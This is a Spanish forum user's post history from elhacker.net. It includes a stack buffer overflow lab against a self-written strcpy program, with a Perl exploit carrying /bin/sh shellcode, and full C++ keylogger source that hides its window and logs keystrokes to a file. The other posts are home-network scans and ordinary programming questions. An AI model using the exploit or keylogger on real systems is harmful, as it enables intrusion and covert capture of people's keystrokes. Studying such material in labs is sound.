elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Introducción a Git (Primera Parte)


  Mostrar Temas
Páginas: [1]
1  Seguridad Informática / Bugs y Exploits / Duda explotando un buffer overflow en el stack en: 19 Enero 2024, 21:16 pm
Buenas tardes y feliz año!  :)

Estoy realizando unas pruebas explotando un buffer overflow en la pila de un programa sencillo que he creado, pero no logro entender el porque de que falle mi exploit. Creo que paso algo por alto, pero no logro entender el que.
El programa a explotar es el siguiente:

Código
  1. #include <iostream>
  2. #include <cstring>
  3. using namespace std;
  4.  
  5. int main(int argc, char* argv[]) {
  6.  
  7.    char output[200];
  8.  
  9.    const char* source = argv[1];
  10.  
  11.    strcpy(output, source);
  12.  
  13.    cout << "Output string: " << output << endl;
  14.  
  15.    return 0;
  16. }

Deshabilito el ASLR en mi ordernador con arquitectura intel de 64 bits y compilo el programa quitando las protecciones del stack:

Código
  1. g++ strcpy_sample.cpp -fno-stack-protector -z execstack -g -o sut.exe

Una vez hecho esto, voy a depurar el programa con gdb para calcular el desplazamiento y obtener la dirección de memoria de retorno de la función:



He utilizado una entrada de 200 caracteres A para llenar el buffer y ver mejor la pila del programa. la dirección de retorno esta en la posición 0x7fffffffdda8 de memòria y la variable output esta en la dirección 0x7fffffffdcd0
Como se muestra en la siguiente imagen:



Entonces para calcular el desplazamiento con gdb hago:

offset =  @ret - @output = 0x7fffffffdda8 - 0x7fffffffdcd0 = 216 bytes

Código
  1. (gdb) p/d 0x7fffffffdda8 - 0x7fffffffdcd0

Una vez obtengo el desplazamiento, escojo una dirección valida al azar dentro del stack para usarla como dirección de retorno. Por ejemplo usaré la 0x7fffffffdd30

Entonces, sabiendo estos dos parametros, he escrito un pequeño exploit en lenguaje perl:

Código
  1. #!/usr/bin/perl
  2.  
  3. $shellcode = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"; # 30 bytes
  4. $address = "\x30\xdd\xff\xff\xff\x7f\x00\x00"; #0x7fffffffdd30; return address in big-endian - 8 bytes
  5. $nop = "\x90"x186; #186 bytes
  6.  
  7. print $nop . $shellcode . $address;
  8.  

Por cierto, la shellcode la he obtenido de shell-storm.org, ocupa 30 bytes y es la siguiente: https://shell-storm.org/shellcode/files/shellcode-603.html

El exploit de perl, devuelve una cadena de 224 bytes = 186 bytes de NOPs + 30bytes de la shellcode + 8 bytes de la dirección de retorno = offset + @retorno

Entonces, ejecuto gdb pasandole el exploit como entrada y el stack me queda así:



Claro, lo que ha pasado aquí es que la posición de memoria de la dirección de retorno ha cambiado:

rip at 0x7fffffffdda8 --> rip at 0x7fffffffdd88

Esto es debido a que el tamaño del buffer de entrada (argv[1]) ha cambiado y es mas grande, antes eran 200bytes y ahora son 216 bytes, y por lo tanto al copiar el buffer se ha ampliado el offset en 32 bytes.

Pero si vuelvo a calcular el desplazamiento entre la posición de la dirección de memoria de retorno y la posición de la variable output me siguen saliendo 216bytes:

Código
  1. (gdb) p/d 0x7fffffffdd88 - 0x7fffffffdcb0

Esto es así porque la variable $output se ha desbordado, pero sigue "ocupando" 200 bytes en memoria.

Pero, en cualquier caso, he acertado y la dirección de retorno se ha sobreescrito con la dirección que quería, si nos fijamos en la imagen anterior, la nueva posición de retorno 0x7fffffffdd88 contiene la dirección: 0x7fffffffdd30

Ahora si continuo con la ejecución debería  saltar a la posición de memoria del medio de la stack. ejectuar los NOPs y luego la shellcode para obtener una shell. Sin embargo, el programa termina con un error de segmentation fault y parece que no ejectua la shellcode.



Alguien me sabría decir porque ha ocurrido esto?
Se os ocurre alguna forma de validar si realmente se ha ejecutado la shellcode?
2  Programación / Programación C/C++ / Implementación de Arboles binarios en: 16 Septiembre 2013, 20:41 pm
Buenas tardes,


Llevó todo el dia peleandome con una clase, para implementar arboles binarios, el codigo es el siguiente:

//Archivo Tree.cpp
Código
  1. struct Node {
  2. int info;
  3. Node *fesq;
  4. Node *fdre;
  5. };
  6.  
  7. class Tree {
  8.  
  9. private:
  10.  
  11. Node *root;
  12.  
  13. public:
  14.  
  15. Tree(int);
  16. void insertar(int);
  17. void plantar(int, Node &, Node&);
  18. };

//Codigo Tree.cpp
Código
  1. Tree::Tree(int value) {
  2. root->info = value;
  3. root->fesq = NULL;
  4. root->fdre = NULL;
  5. }
  6.  
  7. void Tree::plantar(int value, Node & f1, Node & f2) {
  8. root->info = value;
  9. root->fesq = f1;
  10. root->fdre = f2;
  11. }
  12.  
  13. void Tree::insertar(int value) {
  14.     if (root ==NULL) {
  15.         root->info = value;
  16.         root->fesq = NULL;
  17.         root->fdre = NULL;
  18.     }
  19.     else if(x < root->info) root->fesq.insertar(x);
  20.     else if(x > root->info) root->fdre.insertar(x);
  21. }
  22.  

Primer problema, visual studio me dice que root no se puede comparar con NULL, entonces como puedo saber si un hijo esta vacio???

Segundo problema, nose com implementar la función de insertar. Se que esta mal porque estoy llamando desde un nodo, un metodo que no existe y que tiene arbol.

Nose, tengo ya los nervios a flor de piel y lo siguiente que haré sera amenazar mi portatil con una tostadora xD
3  Seguridad Informática / Hacking / Identificando hosts en mi red en: 28 Marzo 2013, 16:16 pm
Muy Buenas!  ;D

Tengo una duda que no me deja dormir y os la planteo aquí para poder resolverla. El caso es que el otro dia me dedique a escuchar las connexions en la red local de mi casa. Usando Nast v0.2.0, escanee mi red en busca de los nodos activos, y esta fue la respuesta del programa:

Citar
root@debian:/home/user# nast -i wlan0 -m

Nast V. 0.2.0

Mapping the Lan for 255.255.255.0 subnet ... please wait

MAC address      Ip address (hostname)
===========================================================
00:00:00:00:00:00   192.168.1.136 (debian.local) (*)
00:00:00:00:00:00    192.168.1.1 (192.168.1.1)
00:00:00:00:00:00    192.168.1.138 (xxxx-PC.local)

(*) This is localhost

Me extraño mucho esta respuesta puesto que realmente tenia 6 nodos activos, así que decidí escanear la red otra vez pero esta usando Nmap v5.00.

Citar
root@debian:/home/user# nmap -sP 192.168.1.1/24

Starting Nmap 5.00 ( http://nmap.org ) at 2013-03-27 15:44 CET
Host 192.168.1.1 is up (0.011s latency).
MAC Address: 00:00:00:00:00:00 (Unknown)
Host 192.168.1.128 is up (0.026s latency).
MAC Address: 00:00:00:00:00:00 (Unknown)
Host 192.168.1.130 is up (0.098s latency).
MAC Address: 00:00:00:00:00:00 (Unknown)
Host 192.168.1.134 is up (0.016s latency).
MAC Address: 00:00:00:00:00:00 (Wistron Neweb)
Host 192.168.1.136 is up.
Host 192.168.1.138 is up (0.0026s latency).
MAC Address: 00:00:00:00:00:00 (Asustek Computer)
Nmap done: 256 IP addresses (6 hosts up) scanned in 3.51 seconds

Nast busca nodos activos en la red haciendo peticiones ARP a todo el rango de IP de la red. No entiendo como no obtiene respuesta de todos los nodos. También me fije que si haces el escaneo en nmap sin privilegios, solo escanea los hosts enviando un segmento TCP con el flag SYN levantado a los puertos 80 and 443, que de esta forma es normal que no contesten.

Bueno despues de tanto rollo xD, mi duda es la siguiente. Esto de que no detecte bien los nodos activos es problema del programa (Nast) no? No puede ser que haya algo en el nodo remoto que bloquee la conexión porque sino ese nodo no podria comunicarse.

Muchas gracias de antebrazo!
4  Programación / Desarrollo Web / Seleccionar filas de una tabla HTML con javascript en: 27 Enero 2013, 02:50 am
Hola, muy buenas!  :P


Despues de estar machacando mucho y resolver varios problemas, cuelgo el siguiente script por si alguien le interesa. Es útil para manejar la selección de las filas de una tabla con el ratón o con el teclado. Por cierto, se aceptan críticas y manera de mejorarlo :D

Aquí va el código:

Código
  1. /*Selecciona la fila y se cambia el estilo cuando le das click con el ratón*/
  2. function myFunction(x)
  3. {
  4. if (document.getElementsByClassName("trselected").length > 0) {
  5. var element = document.getElementsByClassName("trselected");
  6. if (parseInt(element[0].id)%2 != 0) element[0].className = "impar";
  7. else element[0].className = "";
  8. }
  9. x.className="trselected";
  10. }
  11.  
  12. /*Ejecuta una acción diferente según la tecla del teclado que presiones.
  13. el 40 es la flecha abajo, el 38 la flecha arriba y el 13 el enter. Mueve el estilo
  14. de la fila, arriba o abajo, según el botón pulsado. Con el botón enter se muestra
  15. la información de la fila seleccionada*/
  16. function myFunction2(evnt)
  17. {
  18. var ev = (evnt) ? evnt : event;
  19.   var code=(ev.which) ? ev.which : event.keyCode;
  20.   if (code == 40) {
  21. if (document.getElementsByClassName("trselected").length > 0) {
  22. var element = document.getElementsByClassName("trselected");
  23. var num = (parseInt(element[0].id) + 1).toString();
  24. myFunction(document.getElementById(num));
  25. }
  26. else myFunction(document.getElementById(1))
  27.   }
  28.   else if (code == 38) {
  29. if (document.getElementsByClassName("trselected").length > 0) {
  30. var element = document.getElementsByClassName("trselected");
  31. var num = (parseInt(element[0].id) - 1).toString();
  32. myFunction(document.getElementById(num))
  33. }
  34. else myFunction(document.getElementById(document.getElementById("tbody").rows.length.toString()))
  35.    }
  36.    else if (code == 13 ) {
  37.        if (document.getElementsByClassName("trselected").length > 0) {
  38.    var element = document.getElementsByClassName("trselected");
  39.    var info = element[0].cells[0].innerText;
  40.    info += " "+element[0].cells[1].innerText;
  41.    info += " "+element[0].cells[2].innerText;
  42.    info += " "+element[0].cells[3].innerText;
  43.    info += " "+element[0].cells[4].innerText;
  44.    alert(info);
  45. }
  46.  
  47. }
  48. }
  49. //Escucha y reacciona el evento cuando se pulsa una tecla
  50. if (window.document.addEventListener) {
  51.   window.document.addEventListener("keydown", myFunction2, false);
  52. } else {
  53.   window.document.attachEvent("onkeydown", myFunction2);
  54. }

Codigo CSS y HTML de ejemplo:

Código
  1. <tr class="thead">
  2. <th>Product</th>
  3. <th></th>
  4. <th>Price</th>
  5. <th>Cost</th>
  6. <th></th>
  7. </tr>
  8. </thead>
  9. <tbody id ="tbody">
  10. <!--Les ids han de començar per 1-->
  11. <tr id = "1" class="impar" onclick="myFunction(this)" >
  12. <td>ProductName01</td>
  13. <td>1x</td>
  14. <td>35.20€</td>
  15. <td>35.20€</td>
  16. <td>x</td>
  17. </tr>
  18. <tr id = "2" onclick="myFunction(this)" >
  19. <td>ProductName01</td>
  20. <td>1x</td>
  21. <td>35.20€</td>
  22. <td>35.20€</td>
  23. <td>x</td>
  24. </tr>
  25. <tr id = "3" class="impar" onclick="myFunction(this)" >
  26. <td>ProductName01</td>
  27. <td>1x</td>
  28. <td>35.20€</td>
  29. <td>35.20€</td>
  30. <td>x</td>
  31. </tr>
  32. <tr id = "4" onclick="myFunction(this)" >
  33. <td>ProductName01</td>
  34. <td>1x</td>
  35. <td>35.20€</td>
  36. <td>35.20€</td>
  37. <td>x</td>
  38. </tr>
  39. <tr id = "5" class="impar" onclick="myFunction(this)" >
  40. <td>ProductName01</td>
  41. <td>1x</td>
  42. <td>35.20€</td>
  43. <td>35.20€</td>
  44. <td>x</td>
  45. </tr>
  46. <tr id = "6" onclick="myFunction(this)" >
  47. <td>ProductName01</td>
  48. <td>1x</td>
  49. <td>35.20€</td>
  50. <td>35.20€</td>
  51. <td>x</td>
  52. </tr>
  53. <tr id = "7" class="impar" onclick="myFunction(this)" >
  54. <td>ProductName01</td>
  55. <td>1x</td>
  56. <td>35.20€</td>
  57. <td>35.20€</td>
  58. <td>x</td>
  59. </tr>
  60. <tr id = "8"  onclick="myFunction(this)" >
  61. <td>ProductName01</td>
  62. <td>1x</td>
  63. <td>35.20€</td>
  64. <td>35.20€</td>
  65. <td>x</td>
  66. </tr><tr id = "9" class="impar" onclick="myFunction(this)" >
  67. <td>ProductName01</td>
  68. <td>1x</td>
  69. <td>35.20€</td>
  70. <td>35.20€</td>
  71. <td>x</td>
  72. </tr><tr id = "10" onclick="myFunction(this)" >
  73. <td>ProductName01</td>
  74. <td>1x</td>
  75. <td>35.20€</td>
  76. <td>35.20€</td>
  77. <td>x</td>
  78. </tr><tr id = "11" class="impar" onclick="myFunction(this)" >
  79. <td>ProductName01</td>
  80. <td>1x</td>
  81. <td>35.20€</td>
  82. <td>35.20€</td>
  83. <td>x</td>
  84. </tr>
  85. <tr id = "12" onclick="myFunction(this)" >
  86. <td>ProductName01</td>
  87. <td>1x</td>
  88. <td>35.20€</td>
  89. <td>35.20€</td>
  90. <td>x</td>
  91. </tr>
  92. <tr id = "13" class="impar" onclick="myFunction(this)" >
  93. <td>ProductName01</td>
  94. <td>1x</td>
  95. <td>35.20€</td>
  96. <td>35.20€</td>
  97. <td>x</td>
  98. </tr>
  99. </tbody>
  100.  


Espero que os sea útil!


Un saludo :D
5  Programación / Desarrollo Web / Evento onfocus en fila de una tabla en: 25 Enero 2013, 12:58 pm
Hola, muy buenas! :)

Tengo una tabla en HTML, y quiero que cada vez que se haga click en una fila, esta quede resaltada de un color diferente y si se hace click en otra fila, la anterior vuelva a su color inicial y la nueva que resaltada.

Para hacer esto, he pensado usar los eventos onfocus y onblur. Segun W3C puedo usar este evento en el tag <tr>. http://www.w3schools.com/jsref/event_onfocus.asp

Y tengo el siguiente codigo:

Código
  1. <!DOCTYPE html>
  2. function myFunction(x)
  3. {
  4. x.style.background="yellow";
  5. }
  6. function myFunction2(x)
  7. {
  8. x.style.background="white";
  9. }
  10. </head>
  11. <tr>
  12. <th>Product</th>
  13. <th></th>
  14. <th>Price</th>
  15. <th>Cost</th>
  16. <th></th>
  17. </tr>
  18. <tr onfocus="myFunction(this)" onblur="myFunction2(this)">
  19. <td>ProductName01</td>
  20. <td>1x</td>
  21. <td>35.20€</td>
  22. <td>35.20€</td>
  23. <td>x</td>
  24. </tr>
  25. <tr  onfocus="myFunction(this)" onblur="myFunction2(this)">
  26. <td>ProductName01</td>
  27. <td>1x</td>
  28. <td>35.20€</td>
  29. <td>35.20€</td>
  30. <td>x</td>
  31. </tr>
  32. <tr  onfocus="myFunction(this)" onblur="myFunction2(this)">
  33. <td>ProductName01</td>
  34. <td>1x</td>
  35. <td>35.20€</td>
  36. <td>35.20€</td>
  37. <td>x</td>
  38. </tr>
  39. </tbody>
  40. </body>
  41. </html>

Ahora mi pregunta es, que problema hay? porque no se ejecutan los scripts?

Muchas gracias! :)
6  Programación / Scripting / [Python] Redimensionar un array en: 15 Octubre 2011, 13:28 pm
Hola,

Tengo un problema en un programa en python. Estoy realizando la classe CArray y el constructor es el siguiente:

def __init__(self, length, baseIndex):
""“ (Array, int) -> None
     Constructs an array of the given length. """

Los atributos de la classe son:
   
Código
  1. __slots__ = ['__data','__baseIndex']

Donde __data es una lista y __baseIndex es el valor del indice correspondiente al primer elemento.

Mi pregunta es la siguiente, si al constructor me pasan como parametro length(longitud), como puedo dimensionar __data para que tenga longitud length?


Muchas gracias!
7  Programación / Programación C/C++ / Keylogger en C++ en: 29 Mayo 2010, 14:07 pm
Pues os enseño el codigo que he programado, basandome, en lo que he leído por Internet. Acepto críticas y consejos :).
Ya se que faltan keys, pero este codigo es educativo y solo lo he programado para saber como funcionan.
Sin mas a añadir, os cuelgo el codigo:

Código
  1. #include <iostream>
  2. #include <windows.h>
  3. using namespace std;
  4.  
  5.  
  6. char keys() {
  7. char c = '/';
  8. if (GetAsyncKeyState('A')) c = 'A';
  9. else if (GetAsyncKeyState('B')) c = 'B';
  10. else if (GetAsyncKeyState('C')) c = 'C';
  11. else if (GetAsyncKeyState('D')) c = 'D';
  12. else if (GetAsyncKeyState('E')) c = 'E';
  13. else if (GetAsyncKeyState('F')) c = 'F';
  14. else if (GetAsyncKeyState('G')) c = 'G';
  15. else if (GetAsyncKeyState('H')) c = 'H';
  16. else if (GetAsyncKeyState('I')) c = 'I';
  17. else if (GetAsyncKeyState('J')) c = 'J';
  18. else if (GetAsyncKeyState('K')) c = 'K';
  19. else if (GetAsyncKeyState('L')) c = 'L';
  20. else if (GetAsyncKeyState('M')) c = 'M';
  21. else if (GetAsyncKeyState('N')) c = 'N';
  22. else if (GetAsyncKeyState('O')) c = 'O';
  23. else if (GetAsyncKeyState('P')) c = 'P';
  24. else if (GetAsyncKeyState('Q')) c = 'Q';
  25. else if (GetAsyncKeyState('R')) c = 'R';
  26. else if (GetAsyncKeyState('S')) c = 'S';
  27. else if (GetAsyncKeyState('T')) c = 'T';
  28. else if (GetAsyncKeyState('U')) c = 'U';
  29. else if (GetAsyncKeyState('V')) c = 'V';
  30. else if (GetAsyncKeyState('W')) c = 'W';
  31. else if (GetAsyncKeyState('X')) c = 'X';
  32. else if (GetAsyncKeyState('Y')) c = 'Y';
  33. else if (GetAsyncKeyState('Z')) c = 'Z';
  34. else if (GetAsyncKeyState('1')) c = '1';
  35. else if (GetAsyncKeyState('2')) c = '2';
  36. else if (GetAsyncKeyState('3')) c = '3';
  37. else if (GetAsyncKeyState('4')) c = '4';
  38. else if (GetAsyncKeyState('5')) c = '5';
  39. else if (GetAsyncKeyState('6')) c = '6';
  40. else if (GetAsyncKeyState('7')) c = '7';
  41. else if (GetAsyncKeyState('8')) c = '8';
  42. else if (GetAsyncKeyState('9')) c = '9';
  43. else if (GetAsyncKeyState('0')) c = '0';
  44. else if (GetAsyncKeyState(VK_SHIFT)) c = '^';
  45. else if (GetAsyncKeyState(VK_ESCAPE)) c = 0x1B;
  46. else if (GetAsyncKeyState(VK_BACK)) c = ' ';
  47. return c;
  48. }
  49.  
  50. int main() {
  51. FreeConsole(); //Esconde el terminal
  52. FILE *f;
  53. f = fopen("file.txt","w"); //Crea i abre un archivo
  54. char c = ' ';
  55. while(c != 0x1B) {
  56. c = keys();
  57. if (c != '/') {
  58. fprintf( f , "%c",c); //Escribe el caracter en el archivo
  59. //cout << c;
  60. }
  61. Sleep(120); //Interrumpe el programa durante 120 milisegundos
  62. }
  63. fclose(f);
  64. AllocConsole(); //Muestra el terminal
  65. cout << "FIN DE PROGRAMA :)" << endl;
  66. }

Explico un poco el codigo y bueno, la idea principal.
La función mas importante(creo yo) es: GetAsyncKeyState();
Esta función devuelve un valor o otro depende de si has pulsado la tecla o no, entonces le pasas el Virtual-Key Code como parametro y
a partir de ahí te dice si has pulsado la tecla o no.

Y bueno, nose con los comentarios se entiende bien que hace cada cosa no?
Lo que si es una "guarrada" son las inicializaciones del char c; pero esque tenia que evitar que me copiara la misma tecla pulsada multiples veces.
Hay alguna otra forma?


Esto es todo!! Espero sus opiniones.

P.D: Tuve que poner la función sleep, porque las interrupciones del teclado actuan mas rapido que los dedos de mi mano y claro, alomejor
pulsaba una tecla y el pc detectaba que la pulsaba mas veces.


Muchas gracias!!  :D
8  Seguridad Informática / Hacking / Manual Informatica Basica - Interprete de comandos en: 17 Marzo 2010, 21:39 pm
Hola,

Este es el primero de una serie de tutoriales de informatica y hacking. Este precisamente es muy basico, explica el concepto de shell y los comandos mas usuales, espero que la gente principiante le ayude.

Pongan sus comentarios, haber que les ha parecido.

A, el link de descarga:

http://www.mediafire.com/?iizrnnoriez


El proximo que haré se titulara: "Obtencion de shell remota a traves de ssh"


Muchas gracias ;)



EDITO: :S, esto iria a hacking basico no? como meto la pata :(
Páginas: [1]
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines